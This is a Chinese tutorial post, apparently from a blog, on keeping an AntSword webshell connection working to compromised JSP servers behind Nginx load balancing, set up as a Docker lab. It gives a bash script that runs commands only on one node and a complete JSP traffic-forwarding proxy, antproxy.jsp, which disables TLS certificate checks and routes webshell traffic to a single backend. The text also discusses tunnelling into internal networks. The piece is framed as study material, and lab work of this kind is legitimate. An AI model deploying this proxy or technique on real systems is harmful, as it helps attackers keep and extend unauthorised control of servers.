【无标题】

一、Nginx负载均衡下的webshell连接

1.环境搭建以及webshell连接

这里使用docker搭建环境,解压进入/root/AntSword-Labs-master/loadbalance/loadbalance-jsp目录,直接docker-compose up -d

链接:https://pan.baidu.com/s/1jP9uWlrn0PwTGrnqQ-uZrw?pwd=3pza

提取码:3pza

然后蚁剑直接连接

因为两台服务器都有ant.jsp,所以连接不会出现问题

成功后进入终端,可以看到每次我们执行hostname -i命令都会输出不一样的结果,那是因为Nginx负载均衡代理飘忽不定,一会儿代理到node1,一会儿代理到node2

那这个时候就出现问题了

2.出现的问题

1.我们在执行命令时,无法知道下次的请求交给哪台机器去执行,也就是上图所展示的那样。

2.我们在上传工具时,由于工具可能较大,会被分片传输,那我们怎么知道这些数据包一定会上传 到同一台服务器呢,也就是说你的工具可能会被分成两半,一半在一台服务器上,而另一半在另 一台服务器上

比如,我这里上传的是1M的文件,但当你刷新时,文件被分成两半了

3.由于目标机器不能出外网,想进一步深入,只能使用 reGeorg/HTTPAbs 等 HTTP Tunnel,可 在这个场景下,这些 tunnel 脚本全部都失灵了。

由于这一块的内容我还没学习到,所以就简单说说

当我们拿下目标服务器之后,由于目标服务器不出网,想要到内网只能将目标服务器作为代理,建立一个隧道,给我们代理到内网去,但是由于Nginx负载均衡,数据传输到一半可能又会被转到另一台服务器上去

那这些问题怎么解决呢?

3.解决方案

1.关掉其中多余的服务器

这个方案理论上来说确实可行,关掉多余的服务器,只保留一台服务器,Nginx检测不到心跳包,自然会将其他服务器视为宕掉,那就不会有问题了

但是这个方案在真实环境中就是在作死,关掉服务器是很严重的安全事故,所以直接pass

实验环境下如果权限够可以试一试

2.利用shell脚本在执行命令前判断要不要执行

shell脚本如下

#!/bin/bash

MYIP=`hostname -i`

if [ $MYIP == "172.23.0.2" ];then

echo "Node1. I will exec command.\n=========\n"

hostname -i

else

echo "Other. Try again."

fi

由于内容少,文件体积小,可以直接通过蚁剑上传, 不会被分片传输

可以看到如果ip地址为172.23.0.3,那就不会执行命令,返回Try again

反之如果ip地址为172.23.0.4,那就执行命令,输出hostname -i结果

然而这种方法只解决了第一个问题------不知道哪台服务器会执行我们的命令

但是最重要的第二、第三个问题没有解决,我们依然无法上传我们的工具,无法确定数据包的走向

3.利用多余的服务器做一次web层面的流量转发

在这里我们可以把发给172.23.0.3的流量数据包发给我们想要的服务器上,也就是172.23.0.2,因为这两台web服务器是可以互相访问的

在每一台服务器上都传入这样一个脚本,让流量都转发到一台服务器上,注意ip修改成自己想要的服务器ip

<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%@ page import="javax.net.ssl.*" %>

<%@ page import="java.io.ByteArrayOutputStream" %>

<%@ page import="java.io.DataInputStream" %>

<%@ page import="java.io.InputStream" %>

<%@ page import="java.io.OutputStream" %>

<%@ page import="java.net.HttpURLConnection" %>

<%@ page import="java.net.URL" %>

<%@ page import="java.security.KeyManagementException" %>

<%@ page import="java.security.NoSuchAlgorithmException" %>

<%@ page import="java.security.cert.CertificateException" %>

<%@ page import="java.security.cert.X509Certificate" %>

<%!

public static void ignoreSsl() throws Exception {

HostnameVerifier hv = new HostnameVerifier() {

public boolean verify(String urlHostName, SSLSession session) {

return true;

}

};

trustAllHttpsCertificates();

HttpsURLConnection.setDefaultHostnameVerifier(hv);

}

private static void trustAllHttpsCertificates() throws Exception {

TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {

public X509Certificate[] getAcceptedIssuers() {

return null;

}

@Override

public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {

// Not implemented

}

@Override

public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {

// Not implemented

}

} };

try {

SSLContext sc = SSLContext.getInstance("TLS");

sc.init(null, trustAllCerts, new java.security.SecureRandom());

HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());

} catch (KeyManagementException e) {

e.printStackTrace();

} catch (NoSuchAlgorithmException e) {

e.printStackTrace();

}

}

%>

<%

String target = "http://172.23.0.2:8080/ant.jsp";

URL url = new URL(target);

if ("https".equalsIgnoreCase(url.getProtocol())) {

ignoreSsl();

}

HttpURLConnection conn = (HttpURLConnection)url.openConnection();

StringBuilder sb = new StringBuilder();

conn.setRequestMethod(request.getMethod());

conn.setConnectTimeout(30000);

conn.setDoOutput(true);

conn.setDoInput(true);

conn.setInstanceFollowRedirects(false);

conn.connect();

ByteArrayOutputStream baos=new ByteArrayOutputStream();

OutputStream out2 = conn.getOutputStream();

DataInputStream in=new DataInputStream(request.getInputStream());

byte[] buf = new byte[1024];

int len = 0;

while ((len = in.read(buf)) != -1) {

baos.write(buf, 0, len);

}

baos.flush();

baos.writeTo(out2);

baos.close();

InputStream inputStream = conn.getInputStream();

OutputStream out3=response.getOutputStream();

int len2 = 0;

while ((len2 = inputStream.read(buf)) != -1) {

out3.write(buf, 0, len2);

}

out3.flush();

out3.close();

%>

然后这时候不要直接用蚁剑传入,因为数据量大,可能会被分片

我们最好新建一个名为antproxy.jsp的文件,多新建几次,因为可能其他服务器没有新建成功,多刷新几次

然后复制我们的脚本,多保存几次,刷新

直到都为3.22kb为止

这时候我们再编辑连接,改为antproxy.jsp

这个时候会有一个问题就是明明脚本里面没有连接密码,那怎么会填入密码ant呢?

是因为这个脚本最终转发还是转发在了ant.jsp上,可以看上面的具体ip,而ant.jsp密码就是ant

连接成功后我们进入命令行

可以看到并没有出现之前的情况了,IP地址一直为172.23.0.2,不会再出现飘忽不定的现象了

相关推荐
愚戏师3 小时前
Linux复习笔记(六)shell编程
linux·笔记·shell
.(ᗜ ˰ ᗜ) .3 小时前
机器学习笔记2
笔记
小葡萄20254 小时前
黑马程序员c++2024版笔记 第一章 变量和基本类型
笔记·c++20
顾子茵4 小时前
计算机图形学基础--Games101笔记(一)数学基础与光栅化
笔记·图形渲染
黄暄4 小时前
初识计算机网络。计算机网络基本概念,分类,性能指标
笔记·学习·计算机网络·考研
WarPigs4 小时前
Unity光照笔记
笔记·unity·游戏引擎
Alice-YUE5 小时前
【HTML5学习笔记1】html标签(上)
前端·笔记·学习·html·html5
Alice-YUE5 小时前
【HTML5学习笔记2】html标签(下)
前端·笔记·html·html5
jerry6096 小时前
LLM笔记(五)概率论
人工智能·笔记·学习·概率论
烧火大爷6 小时前
现代计算机图形学Games101入门笔记(十四)
笔记